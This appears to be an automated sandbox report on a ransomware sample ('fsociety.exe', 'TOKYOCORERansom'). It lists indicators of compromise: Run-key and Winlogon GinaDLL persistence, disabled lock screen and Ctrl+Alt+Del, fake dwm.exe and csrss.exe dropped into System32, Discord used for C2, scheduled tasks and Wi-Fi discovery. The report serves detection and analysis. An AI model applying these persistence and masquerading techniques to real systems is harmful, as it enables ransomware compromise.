Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\WindowsUpdate = "C:\\Windows\\system32\\fsociety.exe"	fsociety.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\TOKYOCORERansom = "C:\\Windows\\system32\\fsociety.exe"	fsociety.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1704430598-3087477806-3297458608-1000\Software\Microsoft\Windows\CurrentVersion\Run\WindowsUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe"	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WindowsUpdate = "C:\\Windows\\system32\\fsociety.exe"	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\WindowsUpdate = "C:\\Windows\\system32\\fsociety.exe"	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\TOKYOCORERansom = "C:\\Users\\Admin\\AppData\\Local\\Temp\\386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe"	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1704430598-3087477806-3297458608-1000\Software\Microsoft\Windows\CurrentVersion\Run\WindowsUpdate = "C:\\Windows\\system32\\fsociety.exe"	fsociety.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WindowsUpdate = "C:\\Windows\\system32\\fsociety.exe"	fsociety.exe

Contacts third-party web service commonly abused for C2 1 TTPs 53 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
1205	discord.com
1213	discord.com
1268	discord.com
46	discord.com
88	discord.com
579	discord.com
604	discord.com
686	discord.com
896	discord.com
1078	discord.com
1111	discord.com
54	discord.com
146	discord.com
196	discord.com
356	discord.com
833	discord.com
939	discord.com
1137	discord.com
1233	discord.com
368	discord.com
376	discord.com
922	discord.com
1187	discord.com
9	discord.com
113	discord.com
806	discord.com
1085	discord.com
35	discord.com
59	discord.com
135	discord.com
205	discord.com
209	discord.com
312	discord.com
720	discord.com
1034	discord.com
1	discord.com
305	discord.com
463	discord.com
535	discord.com
787	discord.com
5	discord.com
72	discord.com
80	discord.com
158	discord.com
223	discord.com
229	discord.com
265	discord.com
279	discord.com
26	discord.com
237	discord.com
384	discord.com
642	discord.com
897	discord.com

Modifies WinLogon 2 TTPs 56 IoCs

persistence

Winlogon Helper DLL

T1547.004

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\AutoRestartShell = "0"	fsociety.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\AutoAdminLogon = "1"	fsociety.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GinaDLL = "C:\\Windows\\system32\\fsociety.exe"	fsociety.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\DefaultUserName = "Admin"	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\AutoRestartShell = "0"	fsociety.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify\DllName = "C:\\Windows\\system32\\dwm.exe"	fsociety.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\DisableCAD = "1"	fsociety.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify\tokyocore\Asynchronous = "1"	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GinaDLL = "C:\\Windows\\system32\\fsociety.exe"	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\AutoLogonCount = "999999"	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify\Asynchronous = "1"	fsociety.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\AutoLogonCount = "999999"	fsociety.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\DisableCAD = "1"	fsociety.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\AutoAdminLogon = "1"	fsociety.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\AutoAdminLogon = "1"	fsociety.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\AutoRestartShell = "0"	fsociety.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\DisableCAD = "1"	fsociety.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GinaDLL = "C:\\Windows\\system32\\fsociety.exe"	fsociety.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\AutoAdminLogon = "1"	fsociety.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\DisableLockScreen = "1"	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GinaDLL = "C:\\Windows\\system32\\fsociety.exe"	fsociety.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\AutoAdminLogon = "1"	fsociety.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\DefaultPassword	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\DisableCAD = "1"	fsociety.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\AutoRestartShell = "0"	fsociety.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GinaDLL = "C:\\Windows\\system32\\fsociety.exe"	fsociety.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\AutoRestartShell = "0"	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GinaDLL = "C:\\Windows\\system32\\fsociety.exe"	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GinaDLL = "C:\\Windows\\system32\\fsociety.exe"	fsociety.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\AutoAdminLogon = "1"	fsociety.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\DisableCAD = "1"	fsociety.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify\tokyocore	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\DefaultUserName = "Admin"	fsociety.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\DisableCAD = "1"	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\AutoRestartShell = "0"	fsociety.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GinaDLL = "C:\\Windows\\system32\\fsociety.exe"	fsociety.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify\tokyocore\DllName = "C:\\Windows\\system32\\dwm.exe"	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify\tokyocore\Logon = "1"	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GinaDLL = "C:\\Windows\\system32\\fsociety.exe"	fsociety.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\AutoRestartShell = "0"	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\AutoAdminLogon = "1"	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\DisableCAD = "1"	fsociety.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\AutoRestartShell = "0"	fsociety.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\DisableCAD = "1"	fsociety.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify\Logon = "1"	fsociety.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\AutoRestartShell = "0"	fsociety.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\AutoRestartShell = "0"	fsociety.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\DisableCAD = "1"	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\AutoAdminLogon = "1"	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\AutoAdminLogon = "1"	fsociety.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\AutoAdminLogon = "1"	fsociety.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\DefaultPassword	fsociety.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\DisableLockScreen = "1"	fsociety.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\DisableCAD = "1"	fsociety.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GinaDLL = "C:\\Windows\\system32\\fsociety.exe"	fsociety.exe

Drops file in System32 directory 64 IoCs

description	ioc	Process
File created	C:\Windows\system32\fsociety.exe	fsociety.exe
File created	C:\Windows\system32\dwm.exe	fsociety.exe
File opened for modification	C:\Windows\system32\csrss.exe	fsociety.exe
File created	C:\Windows\system32\dwm.exe	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe
File opened for modification	C:\Windows\system32\csrss.exe	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe
File created	C:\Windows\system32\dwm.exe	fsociety.exe
File created	C:\Windows\system32\csrss.exe	fsociety.exe
File opened for modification	C:\Windows\system32\csrss.exe	fsociety.exe
File opened for modification	C:\Windows\system32\dwm.exe	fsociety.exe
File opened for modification	C:\Windows\system32\dwm.exe	fsociety.exe
File created	C:\Windows\system32\dwm.exe	fsociety.exe
File opened for modification	C:\Windows\system32\fsociety.exe	fsociety.exe
File opened for modification	C:\Windows\system32\fsociety.exe	fsociety.exe
File created	C:\Windows\system32\csrss.exe	fsociety.exe
File created	C:\Windows\system32\fsociety.exe	fsociety.exe
File created	C:\Windows\System32\bootexec.bat	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe
File created	C:\Windows\system32\fsociety.exe	fsociety.exe
File opened for modification	C:\Windows\system32\fsociety.exe	fsociety.exe
File created	C:\Windows\system32\jester.png	fsociety.exe
File created	C:\Windows\system32\fsociety.exe	fsociety.exe
File created	C:\Windows\system32\csrss.exe	fsociety.exe
File opened for modification	C:\Windows\system32\dwm.exe	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe
File opened for modification	C:\Windows\system32\fsociety.exe	fsociety.exe
File created	C:\Windows\system32\csrss.exe	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe
File opened for modification	C:\Windows\system32\csrss.exe	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe
File opened for modification	C:\Windows\system32\csrss.exe	fsociety.exe
File opened for modification	C:\Windows\system32\fsociety.exe	fsociety.exe
File created	C:\Windows\system32\dwm.exe	fsociety.exe
File opened for modification	C:\Windows\system32\csrss.exe	fsociety.exe
File created	C:\Windows\system32\fsociety.jpg	fsociety.exe
File opened for modification	C:\Windows\system32\fsociety.exe	fsociety.exe
File created	C:\Windows\system32\fsociety.exe	fsociety.exe
File created	C:\Windows\system32\csrss.exe	fsociety.exe
File opened for modification	C:\Windows\system32\dwm.exe	fsociety.exe
File opened for modification	C:\Windows\system32\dwm.exe	fsociety.exe
File created	C:\Windows\system32\fsociety.exe	fsociety.exe
File created	C:\Windows\system32\dwm.exe	fsociety.exe
File created	C:\Windows\system32\csrss.exe	fsociety.exe
File opened for modification	C:\Windows\system32\fsociety.exe	fsociety.exe
File created	C:\Windows\system32\csrss.exe	fsociety.exe
File opened for modification	C:\Windows\system32\fsociety.exe	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe
File opened for modification	C:\Windows\system32\dwm.exe	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe
File created	C:\Windows\system32\csrss.exe	fsociety.exe
File opened for modification	C:\Windows\system32\fsociety.exe	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe
File opened for modification	C:\Windows\system32\csrss.exe	fsociety.exe
File opened for modification	C:\Windows\system32\dwm.exe	fsociety.exe
File opened for modification	C:\Windows\system32\csrss.exe	fsociety.exe
File created	C:\Windows\system32\dwm.exe	fsociety.exe
File created	C:\Windows\system32\fsociety.exe	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe
File opened for modification	C:\Windows\system32\dwm.exe	fsociety.exe
File created	C:\Windows\system32\dwm.exe	fsociety.exe
File created	C:\Windows\system32\fsociety.exe	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe
File opened for modification	C:\Windows\System32\bootexec.bat	fsociety.exe
File created	C:\Windows\system32\dwm.exe	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe
File created	C:\Windows\system32\csrss.exe	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe
File opened for modification	C:\Windows\system32\dwm.exe	fsociety.exe
File created	C:\Windows\system32\csrss.exe	fsociety.exe
File opened for modification	C:\Windows\system32\csrss.exe	fsociety.exe
File created	C:\Windows\system32\dwm.exe	fsociety.exe
File created	C:\Windows\system32\fsociety.exe	fsociety.exe
File created	C:\Windows\system32\fsociety.exe	fsociety.exe
File opened for modification	C:\Windows\system32\fsociety.exe	fsociety.exe
File opened for modification	C:\Windows\system32\csrss.exe	fsociety.exe
File opened for modification	C:\Windows\system32\dwm.exe	fsociety.exe

Sets desktop wallpaper using registry 2 TTPs 2 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1704430598-3087477806-3297458608-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\fsociety.jpg"	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1704430598-3087477806-3297458608-1000\Control Panel\Desktop\Wallpaper = "C:\\Windows\\system32\\fsociety.jpg"	fsociety.exe

Drops file in Windows directory 10 IoCs

description	ioc	Process
File created	C:\Windows\WinSxS\x86_microsoft-windows-dwm_31bf3856ad364e35_10.0.19041.1_none_0e58de74\dwm.exe	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe
File created	C:\Windows\WinSxS\x86_microsoft-windows-dwm_31bf3856ad364e35_10.0.19041.1_none_0e58e9af\dwm.exe	fsociety.exe
File created	C:\Windows\WinSxS\x86_microsoft-windows-dwm_31bf3856ad364e35_10.0.19041.1_none_0e58ee24\dwm.exe	fsociety.exe
File created	C:\Windows\WinSxS\x86_microsoft-windows-dwm_31bf3856ad364e35_10.0.19041.1_none_0e58f43e\dwm.exe	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe
File created	C:\Windows\WinSxS\x86_microsoft-windows-dwm_31bf3856ad364e35_10.0.19041.1_none_0e58fb91\dwm.exe	fsociety.exe
File created	C:\Windows\WinSxS\x86_microsoft-windows-dwm_31bf3856ad364e35_10.0.19041.1_none_0e58fce9\dwm.exe	fsociety.exe
File created	C:\Windows\WinSxS\x86_microsoft-windows-dwm_31bf3856ad364e35_10.0.19041.1_none_0e58e3b4\dwm.exe	fsociety.exe
File created	C:\Windows\WinSxS\x86_microsoft-windows-dwm_31bf3856ad364e35_10.0.19041.1_none_0e58e3b4\dwm.exe	fsociety.exe
File created	C:\Windows\WinSxS\x86_microsoft-windows-dwm_31bf3856ad364e35_10.0.19041.1_none_0e58f4db\dwm.exe	fsociety.exe
File created	C:\Windows\WinSxS\x86_microsoft-windows-dwm_31bf3856ad364e35_10.0.19041.1_none_0e5903de\dwm.exe	fsociety.exe

Launches sc.exe 64 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
15024	Process not Found
11184	Process not Found
18256	Process not Found
16300	Process not Found
1800	sc.exe
2284	sc.exe
10656	Process not Found
12692	Process not Found
2144	Process not Found
15300	Process not Found
6448	sc.exe
9772	Process not Found
9556	Process not Found
15036	Process not Found
10944	Process not Found
11164	Process not Found
2348	Process not Found
12836	Process not Found
2932	sc.exe
704	sc.exe
7156	Process not Found
9648	Process not Found
7784	Process not Found
13168	Process not Found
2880	Process not Found
7100	sc.exe
16616	Process not Found
9584	Process not Found
19424	Process not Found
22028	Process not Found
6020	Process not Found
9740	Process not Found
13468	Process not Found
16244	Process not Found
17344	Process not Found
7256	sc.exe
4524	Process not Found
9308	Process not Found
17252	Process not Found
21976	Process not Found
23116	Process not Found
19260	Process not Found
6968	Process not Found
15836	Process not Found
16656	Process not Found
20212	Process not Found
15924	Process not Found
13212	Process not Found
9436	Process not Found
22232	Process not Found
18324	Process not Found
4532	sc.exe
2516	sc.exe
14432	Process not Found
20520	Process not Found
21156	Process not Found
4124	sc.exe
6076	sc.exe
11588	Process not Found
6652	Process not Found
1092	Process not Found
8532	Process not Found
16496	Process not Found
8508	sc.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 64 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
21236	Process not Found
3424	Process not Found
9300	Process not Found
5948	Process not Found
12036	Process not Found
9256	Process not Found
9520	Process not Found
12944	Process not Found
18408	Process not Found
8732	Process not Found
10112	Process not Found
13096	Process not Found
11520	Process not Found
9648	Process not Found
12208	Process not Found
4628	Process not Found
18184	Process not Found
756	cmd.exe
7556	cmd.exe
2544	Process not Found
15844	Process not Found
18808	Process not Found
12868	Process not Found
5524	Process not Found
13480	Process not Found
12456	Process not Found
16640	Process not Found
6604	cmd.exe
7936	cmd.exe
15184	Process not Found
17300	Process not Found
14052	Process not Found
5448	Process not Found
10512	Process not Found
12844	Process not Found
15828	Process not Found
10944	Process not Found
9140	Process not Found
13304	Process not Found
11368	Process not Found
22596	Process not Found
2324	Process not Found
8420	Process not Found
19504	Process not Found
3404	cmd.exe
12204	Process not Found
14296	Process not Found
18968	Process not Found
21928	Process not Found
1300	Process not Found
12440	Process not Found
14040	Process not Found
14288	Process not Found
18080	Process not Found
9436	Process not Found
7112	Process not Found
1340	Process not Found
8556	Process not Found
13764	Process not Found
17076	Process not Found
12024	Process not Found
3028	cmd.exe
10180	Process not Found
13204	Process not Found

Reads the TCP/IP host and domain name from the registry 1 TTPs 8 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	fsociety.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	fsociety.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	WMIC.exe

System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 64 IoCs

Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

discovery

Wi-Fi Discovery

T1016.002

pid	Process
17376	Process not Found
18736	Process not Found
9192	Process not Found
8548	Process not Found
17100	Process not Found
20548	Process not Found
7664	Process not Found
9964	Process not Found
13232	Process not Found
6264	Process not Found
16368	Process not Found
21344	Process not Found
5840	Process not Found
9732	Process not Found
11804	Process not Found
14364	Process not Found
16196	Process not Found
14776	Process not Found
19032	Process not Found
8140	netsh.exe
7724	Process not Found
8760	Process not Found
14040	Process not Found
23880	Process not Found
10176	Process not Found
4312	cmd.exe
17536	Process not Found
7808	netsh.exe
11364	Process not Found
18000	Process not Found
15136	Process not Found
11500	Process not Found
15400	Process not Found
15976	Process not Found
16880	Process not Found
24132	Process not Found
6212	netsh.exe
7632	cmd.exe
8228	netsh.exe
17032	Process not Found
14524	Process not Found
9560	Process not Found
11900	Process not Found
12484	Process not Found
16096	Process not Found
7660	Process not Found
10732	Process not Found
7688	cmd.exe
6744	cmd.exe
6168	cmd.exe
15476	Process not Found
15228	Process not Found
14200	Process not Found
17436	Process not Found
21428	Process not Found
5364	Process not Found
13644	Process not Found
11448	Process not Found
12628	Process not Found
16424	Process not Found
22832	Process not Found
5616	netsh.exe
11420	Process not Found
10288	Process not Found

Scheduled Task/Job: Scheduled Task 1 TTPs 64 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
5216	Process not Found
12164	Process not Found
7764	schtasks.exe
9188	Process not Found
19464	Process not Found
16148	Process not Found
14152	Process not Found
12744	Process not Found
17856	Process not Found
16812	Process not Found
14904	Process not Found
9700	Process not Found
9500	Process not Found
9932	Process not Found
14616	Process not Found
4868	Process not Found
19240	Process not Found
9128	Process not Found
20816	Process not Found
20496	Process not Found
8852	schtasks.exe
7564	Process not Found
4264	Process not Found
15540	Process not Found
2488	schtasks.exe
12284	Process not Found
11596	Process not Found
1584	Process not Found
16212	Process not Found
4992	schtasks.exe
3184	Process not Found
9744	Process not Found
15772	Process not Found
1444	Process not Found
1692	schtasks.exe
5236	schtasks.exe
10724	Process not Found
10540	Process not Found
22436	Process not Found
4816	schtasks.exe
12300	Process not Found
14352	Process not Found
16716	Process not Found
10908	Process not Found
13368	Process not Found
10332	Process not Found
9036	Process not Found
10860	Process not Found
13228	Process not Found
15388	Process not Found
8044	Process not Found
13408	Process not Found
21772	Process not Found
1708	schtasks.exe
2732	schtasks.exe
524	schtasks.exe
7164	Process not Found
16452	Process not Found
15352	Process not Found
13032	Process not Found
7396	schtasks.exe
18060	Process not Found
13028	Process not Found
2064	Process not Found

Suspicious behavior: EnumeratesProcesses 8 IoCs

pid	Process
6128	WMIC.exe
6128	WMIC.exe
6128	WMIC.exe
6128	WMIC.exe
5400	WMIC.exe
5400	WMIC.exe
5400	WMIC.exe
5400	WMIC.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	6128	WMIC.exe
Token: SeSecurityPrivilege	6128	WMIC.exe
Token: SeTakeOwnershipPrivilege	6128	WMIC.exe
Token: SeLoadDriverPrivilege	6128	WMIC.exe
Token: SeSystemProfilePrivilege	6128	WMIC.exe
Token: SeSystemtimePrivilege	6128	WMIC.exe
Token: SeProfSingleProcessPrivilege	6128	WMIC.exe
Token: SeIncBasePriorityPrivilege	6128	WMIC.exe
Token: SeCreatePagefilePrivilege	6128	WMIC.exe
Token: SeBackupPrivilege	6128	WMIC.exe
Token: SeRestorePrivilege	6128	WMIC.exe
Token: SeShutdownPrivilege	6128	WMIC.exe
Token: SeDebugPrivilege	6128	WMIC.exe
Token: SeSystemEnvironmentPrivilege	6128	WMIC.exe
Token: SeRemoteShutdownPrivilege	6128	WMIC.exe
Token: SeUndockPrivilege	6128	WMIC.exe
Token: SeManageVolumePrivilege	6128	WMIC.exe
Token: 33	6128	WMIC.exe
Token: 34	6128	WMIC.exe
Token: 35	6128	WMIC.exe
Token: 36	6128	WMIC.exe
Token: SeIncreaseQuotaPrivilege	6128	WMIC.exe
Token: SeSecurityPrivilege	6128	WMIC.exe
Token: SeTakeOwnershipPrivilege	6128	WMIC.exe
Token: SeLoadDriverPrivilege	6128	WMIC.exe
Token: SeSystemProfilePrivilege	6128	WMIC.exe
Token: SeSystemtimePrivilege	6128	WMIC.exe
Token: SeProfSingleProcessPrivilege	6128	WMIC.exe
Token: SeIncBasePriorityPrivilege	6128	WMIC.exe
Token: SeCreatePagefilePrivilege	6128	WMIC.exe
Token: SeBackupPrivilege	6128	WMIC.exe
Token: SeRestorePrivilege	6128	WMIC.exe
Token: SeShutdownPrivilege	6128	WMIC.exe
Token: SeDebugPrivilege	6128	WMIC.exe
Token: SeSystemEnvironmentPrivilege	6128	WMIC.exe
Token: SeRemoteShutdownPrivilege	6128	WMIC.exe
Token: SeUndockPrivilege	6128	WMIC.exe
Token: SeManageVolumePrivilege	6128	WMIC.exe
Token: 33	6128	WMIC.exe
Token: 34	6128	WMIC.exe
Token: 35	6128	WMIC.exe
Token: 36	6128	WMIC.exe
